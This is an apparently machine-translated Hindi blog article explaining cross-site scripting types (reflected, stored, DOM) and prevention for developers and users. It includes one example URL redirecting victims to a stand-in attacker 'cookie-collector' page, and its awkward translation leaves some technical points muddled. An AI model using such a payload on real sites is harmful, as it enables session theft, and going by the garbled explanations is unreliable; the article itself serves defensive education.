क्रॉस-साइट स्क्रिप्टिंग या XSS एक शक्तिशाली और तेज हमला हो सकता है। डेवलपर के रूप में, आप इसे अपने कोड में बग के लिए भी ले सकते हैं और उन बगों की खोज कर सकते हैं जो वहां नहीं हैं।

संवेदनशील वेबसाइट का उपयोग करने वाले ग्राहक के रूप में, आप हमलावर को अपनी प्रमाणीकरण पहुंच के बारे में महत्वपूर्ण जानकारी भी बता सकते हैं।

तो क्रॉस-साइट स्क्रिप्टिंग क्या है? किसी वेबसाइट में सेंध लगाने और आपका डेटा चुराने के लिए हैकर्स इसका इस्तेमाल कैसे कर सकते हैं? और आप इस तरह के जोखिम को कम कैसे कर सकते हैं?

क्रॉस-साइट स्क्रिप्टिंग क्या है?

क्रॉस-साइट स्क्रिप्टिंग या XSS होता है यदि दुर्भावनापूर्ण वेबसाइट से स्क्रिप्ट एक असुरक्षित पर कोड के साथ बातचीत करता है।

लेकिन सर्वर एक तरह से वायर्ड होते हैं जो बिना प्रमाणीकरण के लोगों को आपकी वेबसाइट के सोर्स कोड तक पहुंचने और संपादित करने से रोकता है।

इंटरनेट क्रॉस-साइट इंटरैक्शन को ब्लॉक करने के लिए समान उत्पत्ति नीति (एसओपी) का उपयोग करता है। हालाँकि, SOP तीन प्रमुख सुरक्षा खामियों की जाँच करता है और उन्हें कम करने की कोशिश करता है। वे:

  • इंटरनेट प्रोटोकॉल नीति जो यह जांचती है कि दोनों वेबसाइट सुरक्षित एसएसएल (एचटीटीपीएस) या असुरक्षित URL (HTTP) पर सामग्री वितरित करती हैं या नहीं।
  • वही वेब होस्ट नीति, जो यह सुनिश्चित करती है कि आप दोनों वेबसाइटों को एक ही डोमेन पर होस्ट कर रहे हैं।
  • पोर्ट नीति जो यह जांचती है कि क्या दोनों वेबसाइट समान संचार समापन बिंदु का उपयोग करती हैं

एसओपी का मानना ​​है कि अगर इनमें से कोई भी नीति किसी भी दो वेबसाइटों के लिए अलग है, तो वे वेब पर डेटा को पढ़ या एक्सचेंज नहीं कर सकते हैं।

लेकिन जावास्क्रिप्ट एक जोड़ तोड़ वाली भाषा है जो वेबसाइट की जवाबदेही तय करती है। जबकि आपकी वेबसाइट का जावास्क्रिप्ट एक अलग फ़ाइल में सबसे अधिक संभावना है, आप एक स्क्रिप्ट टैग भी बना सकते हैं और इसे अपने दस्तावेज़ ऑब्जेक्ट मॉडल (DOM) में लिख सकते हैं।

तो एक XSS हमलावर सोच सकता है: "यदि आप एक डोम में जावास्क्रिप्ट लिख सकते हैं, तो अंततः आप इसे निष्पादित कर सकते हैं कोई भी कोड संपादक या इनपुट फ़ील्ड जो HTML टैग को स्वीकार करता है। "

इस तरह की भेद्यता और मौका एक लक्षित वेबसाइट पर XSS का उपयोग करने वाले हमलावर को दिखता है। एक बार जब वे इस तरह की खामियां पाते हैं, तो वे एसओपी को दरकिनार कर सकते हैं।

सम्बंधित: अंतिम जावास्क्रिप्ट धोखा शीट

XSS, इसलिए, एक हमला है जो अपहरणकर्ता एक स्क्रिप्ट को इंजेक्ट करने के लिए उपयोग करते हैं जो एक कमजोर वेबसाइट में दुर्भावनापूर्ण कार्रवाई करता है। स्क्रिप्ट असुरक्षित रूप या इनपुट फ़ील्ड को लक्षित कर सकती है जो डेटा को स्वीकार करती हैं।

कैसे क्रॉस-साइट स्क्रिप्टिंग वर्क्स और प्रकार, उदाहरण के साथ

XSS एक परिलक्षित या अस्थायी स्क्रिप्ट का तेजी से निष्पादन हो सकता है जो हमलावर को खोज क्षेत्रों जैसे रूपों में रखता है। यह डेटाबेस में इंजेक्ट किया गया एक नेगिंग या लगातार भी हो सकता है। या यह पेज लोड होने के बाद निष्क्रिय हो सकता है।

कुछ मामलों में, यह स्क्रिप्ट उनके इरादे को मोड़ने के लिए पीड़ित के मूल इनपुट को भी बदल सकती है। एक उपयोगकर्ता के इनपुट में इस तरह एक निरंतर परिवर्तन एक उत्परिवर्ती XSS है।

जो भी रूप में आता है, एक एक्सएसएस हमले का लक्ष्य उजागर कुकीज़ और लॉग के माध्यम से पीड़ित के डेटा को चोरी करना है।

आइए इन XSS हमले के प्रत्येक प्रकार और उनके उदाहरणों को समझने के लिए कि वे क्या हैं, का संक्षिप्त विवरण देखें।

एक प्रतिबिंबित XSS क्या है?

एक प्रतिबिंबित या अस्थायी XSS उपयोगकर्ता के इनपुट क्षेत्र में जावास्क्रिप्ट का प्रत्यक्ष इंजेक्शन है। यह उन अनुरोधों को लक्षित करता है जो डेटाबेस से डेटा प्राप्त करते हैं, जैसे खोज परिणाम। लेकिन यह एक ग्राहक-लक्षित हमला है।

एक प्रतिबिंबित XSS के दौरान, एक हमलावर एक लक्षित शिकार के खोज शब्द में एक स्क्रिप्ट सम्मिलित करता है। इस तरह की जावास्क्रिप्ट एक प्रतिध्वनि, पुनर्निर्देशित या कुकी संग्राहक हो सकती है।

खोज इनपुट क्षेत्र में अंतःक्षिप्त स्क्रिप्ट को तब निष्पादित किया जाता है जब कोई लक्ष्य ग्राहक अपनी क्वेरी सबमिट करता है।

उदाहरण के लिए, एक उपयोगकर्ता की खोज के दौरान, एक हमलावर एक जावास्क्रिप्ट सम्मिलित कर सकता है जो एक रूप देता है, यह अनुरोध करते हुए कि पीड़ित उनके पासवर्ड या उपयोगकर्ता नाम में प्रवेश करता है। उपयोगकर्ता के ऐसा करने के बाद, वे अनजाने में एक हमलावर को अपनी साख सौंप सकते हैं, यह सोचकर कि यह मूल साइट से एक अनुरोध है।

कभी-कभी, हमलावर किसी उपयोगकर्ता को असुरक्षित पृष्ठ से उनके पृष्ठ पर पुनर्निर्देशित करने के लिए एक स्क्रिप्ट का उपयोग भी कर सकता है। हमलावर के पृष्ठ पर, एक असुरक्षित उपयोगकर्ता को फिर कुछ रूपों को जमा करने में धोखा दिया जा सकता है, जिससे क्रेडेंशियल रिसाव हो सकता है।

इसी तरह, यदि उद्देश्य उपयोगकर्ता के सत्र को चुराना है, तो हमलावर उपयोगकर्ता के खोज शब्द में एक कुकी-संग्रह स्क्रिप्ट इंजेक्ट करता है। वे तब उपयोगकर्ता के वर्तमान सत्र को रोकते हैं, प्रासंगिक जानकारी चुराते हैं और पीड़ित की गतिविधियों को संभालते हैं।

नीचे दिया गया उदाहरण XSS हमला उपयोगकर्ता की कुकी को GET अनुरोध के माध्यम से चुराता है:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

ऊपर के XSS उदाहरण में, हमलावर कमजोर वेबसाइट पर एक बचाव का रास्ता पाता है। इसलिए जब कोई उपयोगकर्ता असुरक्षित साइट पर अनुपलब्ध संसाधन खोजता है, तो यह उन्हें हमलावर के पृष्ठ पर पुनर्निर्देशित करता है। फिर हमलावर वर्तमान उपयोगकर्ता की कुकी को टैप करता है और उनके सत्र को पकड़ लेता है।

हालाँकि, यह भेद्यता सामान्य है जहां HTML के माध्यम से स्क्रिप्ट इंजेक्शन की जांच करने के लिए किसी साइट की क्वेरी कार्रवाई फ़िल्टर नहीं की जाती है।

लेकिन फिर भी अगर कोई फ़िल्टर्ड क्वेरी होती है, तो एक हमलावर किसी वेबसाइट के संभावित रीयल-टाइम उपयोगकर्ताओं को लिंक भेजने के लिए हताश करने वाले उपायों का सहारा लेकर इसे दरकिनार कर सकता है। वे किसी का उपयोग करके ऐसा कर सकते हैं सोशल इंजीनियरिंग का रूप उनके लिए उपलब्ध है।

सम्बंधित: एक फ़िशिंग हमले के लिए गिरने के बाद क्या करना है

एक बार पीड़ित ऐसे लिंक पर क्लिक करते हैं, अपहरणकर्ता अब XSS हमले को सफलतापूर्वक अंजाम दे सकता है और पीड़ित से प्रासंगिक डेटा चोरी कर सकता है।

लगातार या संग्रहित क्रॉस-साइट स्क्रिप्टिंग

संग्रहीत XSS में अधिक खतरे हैं। इस मामले में, एक हमलावर वेबसाइट के डेटाबेस में स्क्रिप्ट को संग्रहीत करता है, संग्रहीत स्क्रिप्ट के लगातार निष्पादन को ट्रिगर करता है। संग्रहीत कोड पृष्ठ लोड पर या पृष्ठ लोड के बाद चल सकता है।

XSS के अस्थायी रूप के विपरीत, एक संग्रहीत XSS असुरक्षित वेबसाइट के संपूर्ण उपयोगकर्ता-आधार को लक्षित करता है। इसके अलावा, यह प्रभावित वेबसाइट की अखंडता को भी लक्षित करता है।

लगातार XSS के दौरान, एक हमलावर इनपुट फ़ील्ड का उपयोग करता है जैसे कि स्क्रिप्ट को वेबसाइट के डेटाबेस में पोस्ट करने के लिए टिप्पणी के रूप।

लेकिन क्या होगा अगर आप CSRF टोकन के साथ POST क्षेत्रों की रक्षा करते हैं? दुर्भाग्य से, संग्रहीत क्रॉस-साइट स्क्रिप्टिंग CSRF चेक को बायपास करती है।

ऐसा इसलिए है क्योंकि हमलावर वेबसाइट के हर दूसरे उपयोगकर्ता की तरह एक फॉर्म जमा करता है। तो, इस तरह के एक टिप्पणी फार्म स्क्रिप्ट को डेटाबेस में भेजता है क्योंकि यह अन्य सभी टिप्पणियां करता है।

ऐसा हमला तब हो सकता है जब किसी वेबसाइट पर इनपुट फ़ील्ड स्क्रिप्ट और HTML टैग से बचने के लिए उचित सैनिटाइज़र का उपयोग नहीं करते हैं।

वेब टिप्पणी फ़ॉर्म का उपयोग करके नीचे स्क्रिप्ट लिखने वाले उपयोगकर्ता की कल्पना करें:




जब कोई हमलावर वेबसाइट के डेटाबेस में उस तरह का कोड डालता है, तो यह पेज लोड पर हमलावर की वेबसाइट पर एक पीड़ित को रीडायरेक्ट करता है। स्क्रिप्ट एक अलर्ट, एक इंटरैक्टिव मोडल बॉक्स या एक एम्बेडेड दुर्भावनापूर्ण विज्ञापन भी हो सकता है।

क्योंकि स्क्रिप्ट पृष्ठ लोड पर पुनर्निर्देशित करता है, एक पीड़ित जो कमजोर वेबसाइट से अपरिचित है, अनुप्रेषित को नोटिस करने में विफल हो सकता है।

वे फिर हमलावर की वेबसाइट के साथ बातचीत करते हुए आगे बढ़ते हैं। हालाँकि, अपहरणकर्ता पीड़ितों से जानकारी प्राप्त करने के लिए कई साधनों का उपयोग तब कर सकते हैं जब वे अपने वेबपेज पर हों।

DOM या पैसिव XSS क्या है?

एक DOM- आधारित XSS वेबसाइट में एम्बेडेड एक दुर्भावनापूर्ण कोड को निष्पादित करता है, जो पूरे DOM को क्लाइंट-साइड पर असामान्य व्यवहार करने के लिए मजबूर करता है।

संग्रहीत और परिलक्षित XSS एक वेबसाइट पर सर्वर-साइड अनुरोधों को लक्षित करता है, एक DOM XSS रनटाइम गतिविधियों को लक्षित करता है। यह एक वेबसाइट के घटक में एक स्क्रिप्ट सम्मिलित करके काम करता है जो एक विशिष्ट कार्य करता है। वह घटक सर्वर-साइड एक्शन को निष्पादित नहीं करता है।

हालांकि, इस तरह के एक घटक में डाली गई स्क्रिप्ट इसके इरादे को पूरी तरह से बदल देती है। यदि यह घटक DOM से संबंधित कार्य करता है, जैसे कि जो कि वेबसाइट के तत्वों को बदलते हैं, तो स्क्रिप्ट पूरे वेबपेज को बदलने के लिए मजबूर कर सकती है।

बदतर मामलों में, DOM- आधारित XSS एक बग की नकल कर सकता है। ऐसा इसलिए है क्योंकि वेबपेज असामान्य रूप से प्रतिक्रियाशील हो जाता है।

क्रॉस-साइट स्क्रिप्टिंग अटैक को कैसे रोकें

एक XSS भेद्यता सबसे अच्छा बैकएंड प्रथाओं के अनुचित उपयोग से आता है। इसलिए क्रॉस-साइट स्क्रिप्टिंग हमले को रोकना आमतौर पर डेवलपर की जिम्मेदारी है। लेकिन उपयोगकर्ताओं की भी भूमिका है।

इनपुट फ़ील्ड के लिए CSFR टोकन का उपयोग करना XSS हमलों का समाधान नहीं लगता है। और इस हमले के बाद से समान उत्पत्ति नीति को भी दरकिनार कर दिया गया, डेवलपर्स को XSS को रोकने वाली सुरक्षा प्रथाओं को छोड़ना नहीं चाहिए।

निम्नलिखित निवारक उपाय डेवलपर्स के लिए सहायक हैं।

इनपुट फील्ड्स को सैनिटाइज करें

संग्रहीत और अस्थायी XSS दोनों को रोकने के लिए, आपको इनपुट फ़ील्ड के लिए कुशल सैनिटाइज़र का उपयोग करना चाहिए। उदाहरण के लिए खोज क्वेरी को संजीवित करना, उपयोगकर्ताओं के खोज शब्दों में टैग इंजेक्शन को रोकता है।

यूनिकोड और HTML ऑटो एस्केप का उपयोग करें

स्क्रिप्ट और HTML टैग को स्वीकार करने से टिप्पणी और रूपांतरण फ़ॉर्म जैसे इनपुट फ़ील्ड को रोकने के लिए HTML और यूनिकोड ऑटो से बचना उपयोगी है। ऑटो बच संग्रहीत या लगातार XSS के खिलाफ एक शक्तिशाली निवारक उपाय है।

उपयोगकर्ताओं को टिप्पणी फ़ॉर्म में टैग डालने की अनुमति देना किसी भी वेबसाइट के लिए एक बुरा विचार है। यह सुरक्षा भंग है। हालाँकि, अगर आपको इसकी अनुमति देनी चाहिए, तो आपको केवल उन टैग्स को स्वीकार करना चाहिए जो XSS के खतरों को रोकते नहीं हैं।

उपयुक्त इनपुट सत्यापन का उपयोग करें

यहां तक ​​कि अगर आप टैग को पूरी तरह से ब्लॉक करते हैं, तो भी एक हमलावर सामाजिक साधनों के माध्यम से XSS हमले को अंजाम दे सकता है। वे कमजोर वेबसाइट पर सीधे कुछ भी रखने के बजाय ईमेल भेज सकते हैं।

तो इसे रोकने का एक और तरीका है कुशलता से इनपुट को मान्य करना। इस तरह के उपायों में प्रोटोकॉल को मान्य करना और यह सुनिश्चित करना शामिल है कि आपकी वेबसाइट केवल सुरक्षित HTTPS से इनपुट स्वीकार करे न कि HTTP।

डॉवप्राइज़ की तरह समर्पित जावास्क्रिप्ट पुस्तकालयों का उपयोग करना भी XSS- संबंधित सुरक्षा उल्लंघनों को अवरुद्ध करने में मदद कर सकता है।

आप जैसे टूल का उपयोग कर सकते हैं XSS स्कैनर या GEEKFLARE अपनी वेबसाइट पर XSS भेद्यता के लिए जाँच करें।

उपयोगकर्ता XSS को कैसे रोक सकते हैं

आज इंटरनेट पर लाखों वेबसाइट हैं। तो आप शायद ही बताएं कि कौन से XSS सुरक्षा मुद्दे हैं।

हालाँकि, एक उपयोगकर्ता के रूप में, आपको यह सुनिश्चित करना चाहिए कि आप इसे इस्तेमाल करने से पहले किसी वेब सेवा से परिचित हों। यदि कोई वेबपेज अचानक डरावना हो जाता है या असामान्य रूप से व्यवहार करना शुरू कर देता है, तो यह लाल झंडा हो सकता है।

जो भी मामला है, एक अविश्वसनीय तीसरे पक्ष के साथ व्यक्तिगत डेटा का खुलासा न करने के लिए सावधान रहें। फिर अनचाहे ईमेल या संदिग्ध सोशल मीडिया पोस्ट की तलाश में रहें, जो किसी भी परिणाम में हो सकते हैं फ़िशिंग हमलों का रूप.

कोई एकल निवारक विधि सभी को फिट नहीं करती है

हमने देखा है कि XSS अटैक कैसा दिखता है और इसे कैसे रोका जाए। विकास के दौरान XSS सुरक्षा जांच को भूलना आसान है। इसलिए डेवलपर्स को यह सुनिश्चित करने के लिए कदम उठाना चाहिए कि सुरक्षा को छोड़ा नहीं गया है। हालांकि, निवारक उपायों का एक संयोजन जिसे हमने पहले सूचीबद्ध किया था, बेहतर काम करता है।

ईमेल
CSRF हमले क्या हैं और आप उन्हें कैसे रोक सकते हैं?

CSRF के हमलों में आपको नकद और साख खोने से रोकने के लिए, डेवलपर्स और उपयोगकर्ताओं दोनों की भूमिका होती है।

संबंधित विषय
  • सुरक्षा
  • जावास्क्रिप्ट
  • ब्राउज़र सुरक्षा
लेखक के बारे में
इदोवु ओमीसोला (53 लेख प्रकाशित)

Idowu कुछ भी स्मार्ट तकनीक और उत्पादकता के बारे में भावुक है। अपने खाली समय में, वह कोडिंग के साथ चारों ओर खेलता है और जब वह ऊब जाता है, तो शतरंज खेलने के लिए स्विच करता है, लेकिन वह एक समय में एक बार दिनचर्या से अलग होना पसंद करता है। आधुनिक तकनीक के आसपास लोगों को रास्ता दिखाने का उनका जुनून उन्हें और अधिक लिखने के लिए प्रेरित करता है।

Idowu Omisola से अधिक

हमारे न्यूज़लेटर की सदस्यता लें

टेक टिप्स, समीक्षा, मुफ्त ईबुक और विशेष सौदों के लिए हमारे न्यूज़लेटर में शामिल हों!

एक और कदम…!

कृपया हमें आपके द्वारा भेजे गए ईमेल में अपने ईमेल पते की पुष्टि करें।

.